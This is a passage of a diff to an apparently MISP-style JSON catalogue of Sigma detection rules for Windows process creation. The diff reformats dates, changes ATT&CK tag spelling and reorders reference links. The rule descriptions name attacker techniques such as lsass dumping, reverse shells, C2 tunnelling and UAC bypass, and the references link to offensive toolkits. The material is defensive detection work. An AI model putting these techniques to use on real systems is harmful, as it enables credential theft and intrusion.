"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parents.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -37504,7 +37511,7 @@ "description": "Detects a \"regsvr32\" execution where the DLL doesn't contain a common file extension.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/07/17", + "creation_date": "2019-07-17", "falsepositive": [ "Other legitimate extensions currently not in the list either from third party or specific Windows components." ], @@ -37517,7 +37524,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_uncommon_extension.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574", "attack.execution" ] @@ -37538,7 +37545,7 @@ "description": "Detects the expansion or decompression of cabinet files from potentially suspicious or uncommon locations, e.g. seen in Iranian MeteorExpress related attacks", "meta": { "author": "Bhabesh Raj, X__Junior (Nextron Systems)", - "creation_date": "2021/07/30", + "creation_date": "2021-07-30", "falsepositive": [ "System administrator Usage" ], @@ -37547,12 +37554,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll", + "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -37572,7 +37579,7 @@ "description": "Detects execution of perl using the \"-e\"/\"-E\" flags. This is could be used as a way to launch a reverse shell or execute live perl code.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/02", + "creation_date": "2023-01-02", "falsepositive": [ "Unknown" ], @@ -37581,8 +37588,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.revshells.com/", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_perl_inline_command_execution.yml" ], "tags": [ @@ -37606,7 +37613,7 @@ "description": "Detects execution of \"dsquery.exe\" for domain trust discovery", "meta": { "author": "E.M. Anhaus, Tony Lambert, oscd.community, omkar72", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Legitimate use of the utilities by legitimate user for legitimate reason" ], @@ -37640,7 +37647,7 @@ "description": "Detects potentially suspicious child processes of KeyScrambler.exe", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2024/05/13", + "creation_date": "2024-05-13", "falsepositive": [ "Unknown" ], @@ -37654,8 +37661,8 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1203", "attack.t1574.002" ] @@ -37683,7 +37690,7 @@ "description": "The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.", "meta": { "author": "Thomas Patzke", - "creation_date": "2020/05/22", + "creation_date": "2020-05-22", "falsepositive": [ "Unknown" ], @@ -37699,7 +37706,7 @@ "tags": [ "attack.execution", "attack.t1059.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.005" ] }, @@ -37726,7 +37733,7 @@ "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", "meta": { "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Legitimate usage by software developers/testers" ], @@ -37735,14 +37742,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", "https://twitter.com/oulusoyum/status/1191329746069655553", + "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", "https://twitter.com/mattifestation/status/1196390321783025666", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml" ], "tags": [ - "attack.defense_evasion", - "attack.credential_access", + "attack.defense-evasion", + "attack.credential-access", "attack.t1218", "attack.t1003.001" ] @@ -37770,7 +37777,7 @@ "description": "Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process.\nThis way we are also able to catch cases in which the attacker has renamed the procdump executable.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/10/30", + "creation_date": "2018-10-30", "falsepositive": [ "Unlikely, because no one should dump an lsass process memory", "Another tool that uses command line flags similar to ProcDump" @@ -37784,9 +37791,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_procdump_lsass.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "car.2013-05-009" ] @@ -37814,7 +37821,7 @@ "description": "Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/27", + "creation_date": "2022-09-27", "falsepositive": [ "Unknown" ], @@ -37827,7 +37834,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_remote_desktop_tunneling.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021" ] }, @@ -37847,7 +37854,7 @@ "description": "The Tasks folder in system32 and syswow64 are globally writable paths.\nAdversaries can take advantage of this and load or influence any script hosts or ANY .NET Application\nin Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr\n", "meta": { "author": "Sreeman", - "creation_date": "2020/01/13", + "creation_date": "2020-01-13", "falsepositive": [ "Unknown" ], @@ -37861,7 +37868,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_task_folder_evasion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.execution", "attack.t1574.002" @@ -37883,7 +37890,7 @@ "description": "Detects a service binary running in a suspicious directory", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/03/09", + "creation_date": "2021-03-09", "falsepositive": [ "Unknown" ], @@ -37896,7 +37903,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -37916,7 +37923,7 @@ "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", "meta": { "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Unlikely" ], @@ -37929,7 +37936,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_awl_bypass.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216" ] }, @@ -37949,7 +37956,7 @@ "description": "Detects usage of winget to add new additional download sources", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/17", + "creation_date": "2023-04-17", "falsepositive": [ "False positive are expected with legitimate sources" ], @@ -37963,7 +37970,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_custom_source.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1059" ] @@ -37984,7 +37991,7 @@ "description": "Detects the execution of PowerShell with a specific flag sequence that is used by the Wmiexec script", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/08", + "creation_date": "2023-03-08", "falsepositive": [ "Unlikely" ], @@ -37997,8 +38004,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_wmiexec_default_powershell.yml" ], "tags": [ - "attack.defense_evasion", - "attack.lateral_movement" + "attack.defense-evasion", + "attack.lateral-movement" ] }, "uuid": "022eaba8-f0bf-4dd9-9217-4604b0bb3bb0", @@ -38008,7 +38015,7 @@ "description": "Detects the execution of \"reg.exe\" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\\Control\\Terminal Server' values", "meta": { "author": "pH-T (Nextron Systems), @Kostastsale, @TheDFIRReport", - "creation_date": "2022/02/12", + "creation_date": "2022-02-12", "falsepositive": [ "Unknown" ], @@ -38021,8 +38028,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_rdp_keys_tamper.yml" ], "tags": [ - "attack.defense_evasion", - "attack.lateral_movement", + "attack.defense-evasion", + "attack.lateral-movement", "attack.t1021.001", "attack.t1112" ] @@ -38050,7 +38057,7 @@ "description": "Detects the execution node.exe which is shipped with multiple software such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/09", + "creation_date": "2022-09-09", "falsepositive": [ "Unlikely" ], @@ -38059,14 +38066,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", - "https://nodejs.org/api/cli.html", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return", + "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", + "https://nodejs.org/api/cli.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -38086,7 +38093,7 @@ "description": "Detects potentially suspicious file downloads directly from IP addresses using curl.exe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/27", + "creation_date": "2023-07-27", "falsepositive": [ "Unknown" ], @@ -38095,9 +38102,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt", "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv", + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_susp_extensions.yml" ], "tags": [ @@ -38111,7 +38118,7 @@ "description": "Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.", "meta": { "author": "Muhammad Faisal", - "creation_date": "2023/08/02", + "creation_date": "2023-08-02", "falsepositive": [ "Legitimate activity of system administrators" ], @@ -38120,13 +38127,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan", "https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/", + "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan", "https://www.bleepingcomputer.com/news/security/amazons-aws-ssm-agent-can-be-used-as-post-exploitation-rat-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssm_agent_abuse.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.persistence", "attack.t1219" ] @@ -38147,7 +38154,7 @@ "description": "Detects Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), citron_ninja", - "creation_date": "2023/10/25", + "creation_date": "2023-10-25", "falsepositive": [ "Legitimate use of Visual Studio Code tunnel" ], @@ -38156,13 +38163,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://badoption.eu/blog/2023/01/31/code_c2.html", "https://code.visualstudio.com/docs/remote/tunnels", + "https://badoption.eu/blog/2023/01/31/code_c2.html", "https://ipfyx.fr/post/visual-studio-code-tunnel/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_execution.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -38182,7 +38189,7 @@ "description": "Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Legitimate administrative tasks" ], @@ -38191,8 +38198,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/sysinternals/downloads/psexec", "https://www.youtube.com/watch?v=ro2QuZTIMBM", + "https://learn.microsoft.com/en-us/sysinternals/downloads/psexec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_psexec_service.yml" ], "tags": [ @@ -38206,7 +38213,7 @@ "description": "Detects the stopping of a Windows service via the PowerShell Cmdlet \"Stop-Service\"", "meta": { "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/05", + "creation_date": "2023-03-05", "falsepositive": [ "There are many legitimate reasons to stop a service. This rule isn't looking for any suspicious behaviour in particular. Filter legitimate activity accordingly" ], @@ -38239,7 +38246,7 @@ "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/02", + "creation_date": "2023-01-02", "falsepositive": [ "Unknown" ], @@ -38248,24 +38255,24 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://github.com/calebstewart/CVE-2021-1675", "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/adrecon/ADRecon", - "https://github.com/Kevin-Robertson/Powermad", - "https://github.com/DarkCoderSc/PowerRunAsSystem/", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://github.com/samratashok/nishang", "https://adsecurity.org/?p=2921", + "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://github.com/HarmJ0y/DAMP", + "https://github.com/DarkCoderSc/PowerRunAsSystem/", "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", - "https://github.com/samratashok/nishang", - "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", - "https://github.com/adrecon/AzureADRecon", + "https://github.com/adrecon/ADRecon", + "https://github.com/Kevin-Robertson/Powermad", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", - "https://github.com/besimorhino/powercat", - "https://github.com/HarmJ0y/DAMP", - "https://github.com/calebstewart/CVE-2021-1675", "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", - "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", + "https://github.com/adrecon/AzureADRecon", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/besimorhino/powercat", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_malicious_cmdlets.yml" ], "tags": [ @@ -38346,7 +38353,7 @@ "description": "Detects certain command line parameters often used during reconnaissance activity via web shells", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, Anton Kutepov, oscd.community", - "creation_date": "2017/01/01", + "creation_date": "2017-01-01", "falsepositive": [ "Unknown" ], @@ -38404,7 +38411,7 @@ "description": "Detects potential abuse of Windows Subsystem for Linux (WSL) binary as a LOLBIN to execute arbitrary Linux or Windows commands", "meta": { "author": "oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "Automation and orchestration scripts may use this method to execute scripts etc.", "Legitimate use by Windows to kill processes opened via WSL (example VsCode WSL server)" @@ -38420,7 +38427,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1202" ] @@ -38448,7 +38455,7 @@ "description": "Detects when a browser process or browser tab is launched from an application that handles document files such as Adobe, Microsoft Office, etc. And connects to a web application over http(s), this could indicate a possible phishing attempt.\n", "meta": { "author": "Joseph Kamau", - "creation_date": "2024/05/27", + "creation_date": "2024-05-27", "falsepositive": [ "Unlikely in most cases, further investigation should be done in the commandline of the browser process to determine the context of the URL accessed." ], @@ -38457,8 +38464,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/64043a79-165f-4052-bcba-e6e49f847ec1/", "https://app.any.run/tasks/69c5abaa-92ad-45ba-8c53-c11e23e05d04/", + "https://app.any.run/tasks/64043a79-165f-4052-bcba-e6e49f847ec1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_browser_launch_from_document_reader_process.yml" ], "tags": [ @@ -38482,7 +38489,7 @@ "description": "Detects the execution of Xwizard tool with the \"RunWizard\" flag and a GUID like argument.\nThis utility can be abused in order to run custom COM object created in the registry.\n", "meta": { "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Unknown" ], @@ -38491,13 +38498,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.elastic.co/guide/en/security/current/execution-of-com-object-via-xwizard.html", "https://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/", "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", - "https://www.elastic.co/guide/en/security/current/execution-of-com-object-via-xwizard.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xwizard_runwizard_com_object_exec.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -38517,7 +38524,7 @@ "description": "Detects the use of Windows Credential Editor (WCE)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/12/31", + "creation_date": "2019-12-31", "falsepositive": [ "Another service that uses a single -s command line switch" ], @@ -38530,7 +38537,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_wce.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.s0005" ] @@ -38551,7 +38558,7 @@ "description": "Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/07/03", + "creation_date": "2020-07-03", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], @@ -38565,7 +38572,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -38585,7 +38592,7 @@ "description": "Detects the use of Windows Defender MpCmdRun.EXE to download files", "meta": { "author": "Matthew Matchen", - "creation_date": "2020/09/04", + "creation_date": "2020-09-04", "falsepositive": [ "Unknown" ], @@ -38599,9 +38606,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mpcmdrun_download_arbitrary_file.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -38628,7 +38635,7 @@ "description": "Detects creation of local users via the net.exe command with the option \"never expire\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/12", + "creation_date": "2022-07-12", "falsepositive": [ "Unlikely" ], @@ -38661,7 +38668,7 @@ "description": "Detects the Installation of a Exchange Transport Agent", "meta": { "author": "Tobias Michalski (Nextron Systems)", - "creation_date": "2021/06/08", + "creation_date": "2021-06-08", "falsepositive": [ "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." ], @@ -38694,7 +38701,7 @@ "description": "Detects suspicious process patterns found in logs when CrackMapExec is used", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/12", + "creation_date": "2022-03-12", "falsepositive": [ "Unknown" ], @@ -38707,7 +38714,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_patterns.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -38727,7 +38734,7 @@ "description": "Detects base64 encoded \"MpPreference\" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/04", + "creation_date": "2022-03-04", "falsepositive": [ "Unknown" ], @@ -38736,13 +38743,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://learn.microsoft.com/en-us/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_mppreference.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -38762,7 +38769,7 @@ "description": "Detects SharpLdapWhoami, a whoami alternative that queries the LDAP service on a domain controller", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/29", + "creation_date": "2022-08-29", "falsepositive": [ "Programs that use the same command line flags" ], @@ -38796,7 +38803,7 @@ "description": "Detects a potentially suspicious execution of a parent process located in the \"\\Users\\Public\" folder executing a child process containing references to shell or scripting binaries and commandlines.\n", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/02/25", + "creation_date": "2022-02-25", "falsepositive": [ "Unknown" ], @@ -38809,7 +38816,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_from_public_folder_as_parent.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1564", "attack.t1059" @@ -38838,7 +38845,7 @@ "description": "Detection of unusual child processes by different system processes", "meta": { "author": "Semanur Guneysu @semanurtg, oscd.community", - "creation_date": "2020/10/28", + "creation_date": "2020-10-28", "falsepositive": [ "Unknown" ], @@ -38851,7 +38858,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_abusing_debug_privilege.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548" ] }, @@ -38871,7 +38878,7 @@ "description": "Detects the execution of the \"cloudflared\" binary from a non standard location.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/12/20", + "creation_date": "2023-12-20", "falsepositive": [ "Legitimate usage of Cloudflared portable versions" ], @@ -38881,14 +38888,14 @@ "logsource.product": "windows", "refs": [ "https://www.intrinsec.com/akira_ransomware/", + "https://github.com/cloudflare/cloudflared/releases", "https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/", "https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/", "https://github.com/cloudflare/cloudflared", - "https://github.com/cloudflare/cloudflared/releases", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_portable_execution.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090.001" ] }, @@ -38908,7 +38915,7 @@ "description": "Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud", "meta": { "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2022/04/06", + "creation_date": "2022-04-06", "falsepositive": [ "Unknown" ], @@ -38921,7 +38928,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_adobe_creative_cloud_abuse.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127", "attack.t1059.007" ] @@ -38949,7 +38956,7 @@ "description": "Detects python spawning a pretty tty", "meta": { "author": "Nextron Systems", - "creation_date": "2022/06/03", + "creation_date": "2022-06-03", "falsepositive": [ "Unknown" ], @@ -38982,7 +38989,7 @@ "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -38995,8 +39002,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -39016,7 +39023,7 @@ "description": "Monitors for the hiding possible malicious files in the C:\\Windows\\Fonts\\ location. This folder doesn't require admin privillege to be written and executed from.", "meta": { "author": "Sreeman", - "creation_date": "2020/04/21", + "creation_date": "2020-04-21", "falsepositive": [ "Unknown" ], @@ -39031,7 +39038,7 @@ "tags": [ "attack.t1211", "attack.t1059", - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence" ] }, @@ -39058,7 +39065,7 @@ "description": "There is an option for a MS VS Just-In-Time Debugger \"vsjitdebugger.exe\" to launch specified executable and attach a debugger.\nThis option may be used adversaries to execute malicious code by signed verified binary.\nThe debugger is installed alongside with Microsoft Visual Studio package.\n", "meta": { "author": "Agro (@agro_sev), Ensar Şamil (@sblmsrsn), oscd.community", - "creation_date": "2020/10/14", + "creation_date": "2020-10-14", "falsepositive": [ "The process spawned by vsjitdebugger.exe is uncommon." ], @@ -39067,14 +39074,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/pabraeken/status/990758590020452353", "https://learn.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/", - "https://twitter.com/pabraeken/status/990758590020452353", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml" ], "tags": [ "attack.t1218", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -39093,7 +39100,7 @@ "description": "Detect attacker collecting audio via SoundRecorder application.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Legitimate audio capture by legitimate user." ], @@ -39127,7 +39134,7 @@ "description": "Detects execution of \"curl.exe\" with the \"--insecure\" flag.", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/06/30", + "creation_date": "2023-06-30", "falsepositive": [ "Access to badly maintained internal or development systems" ], @@ -39150,7 +39157,7 @@ "description": "Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy \"Bypass\" or any binary named \"powershell.exe\" located in the path provided by 6th positional argument", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), memory-shards", - "creation_date": "2022/12/24", + "creation_date": "2022-12-24", "falsepositive": [ "Unknown" ], @@ -39159,14 +39166,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/jseerden/status/1247985304667066373/photo/1", "https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/", "https://twitter.com/lefterispan/status/1286259016436514816", - "https://twitter.com/jseerden/status/1247985304667066373/photo/1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_agentexecutor_susp_usage.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -39186,7 